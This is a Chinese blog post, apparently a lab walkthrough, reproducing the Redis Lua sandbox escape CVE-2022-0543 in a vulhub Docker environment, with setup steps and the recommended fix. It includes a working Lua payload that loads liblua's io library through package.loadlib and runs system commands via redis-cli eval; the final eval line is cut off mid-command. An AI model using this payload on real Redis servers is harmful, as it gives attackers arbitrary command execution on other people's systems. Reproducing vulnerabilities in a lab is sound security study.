最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

CVE

旗下网站admin32浏览0评论

CVE

CVE

CVE-2022-0543(redis沙盒逃逸)详细漏洞复现参考:Redis Lua沙盒绕过命令执⾏(CVE-2022-0543)Redis是著名的开源Key-Value数据库,其具备在沙箱中执⾏Lua脚本的能⼒。Debian以及Ubuntu发⾏版的源在打包Redis时,不慎在Lua沙箱中遗留了⼀个对象package,攻击者可以利⽤这个对象提供的⽅法加载动态链接库liblua⾥的函数,进⽽逃逸沙箱执⾏任意命令。直接写复现全过程吧我们通过vulhub来直接复现靶场。我系统⽤的是Ubunt⾸先先换源(Ubuntu的源是国外的,速度很慢,我们可以换成国内的阿⾥源)先做好备份:sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak接下来,修改源⽂件/etc/apt/sources.list,添加国内源sudo vim /etc/apt/sources.list阿⾥源:deb /ubuntu/ xenial main restricted universe multiversedeb /ubuntu/ xenial-security main restricted universe multiversedeb /ubuntu/ xenial-updates main restricted universe multiversedeb /ubuntu/ xenial-proposed main restricted universe multiversedeb /ubuntu/ xenial-backports main restricted universe multiversedeb-src /ubuntu/ xenial main restricted universe multiversedeb-src /ubuntu/ xenial-security main restricted universe multiversedeb-src /ubuntu/ xenial-updates main restricted universe multiversedeb-src /ubuntu/ xenial-proposed main restricted universe multiversedeb-src /ubuntu/ xenial-backports main restricted universe multiverse然后进⾏源更新sudo apt-get update接着安装Docker:安装vim、curlsudo apt install vimsudo apt install curl安装pipcurl -s bootstrap.pypa.io/get-pip.py | python3#在安装pip这⼀步,可能会因为版本差异⽽有问题,我测试了两台机器,⼀台是正常安装,另外⼀台因为版本原因导致⽆法安装。 需要更新⼀下python安装dockercurl -s / | sh然后安装docker-composepip install docker-compose安装完后,我们可以通过命令docker-compose -v 来验证我们的docker-compose是否正确安装成功(此处查询的是版本号,有显⽰版本即成功)获取vilhub:⾸先要安装gitsudo apt install git接着下载vulhub(此步骤耗时较长)git clone /vulhub/vulhub.git安装完成后我们进⼊到对应⽬录:如:cd vulhub/redis/CVE-2022-0543/然后执⾏命令,进⾏靶场编译和运⾏docker-compose builddocker-compose up -d运⾏完docker-compose后,打开我们的redis就是我们的漏洞环境啦redis-cli -h 127.0.0.1 -p 6379我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0⾥的导出函数luaopen_io。在Lua中执⾏这个导出函数,即可获得io库,再使⽤其执⾏命令:local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return res连接redis,使⽤eval命令执⾏上述脚本:eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /etc/", "r"); local res = f:read(到这我们就可以执⾏命令了。正式修复⽅案:Lua 初始化的末尾添加package=nil 。临时修复⽅案:关闭服务该漏洞影响的版本有ubuntu和debian,但是我看其他帖⼦说centos也存在该漏洞,但是我尝试复现时并未成功,⽇后有空在进⾏第⼆次尝试吧 。周五快乐

版本,漏洞,安装

发布评论

评论列表(0)

  1. 暂无评论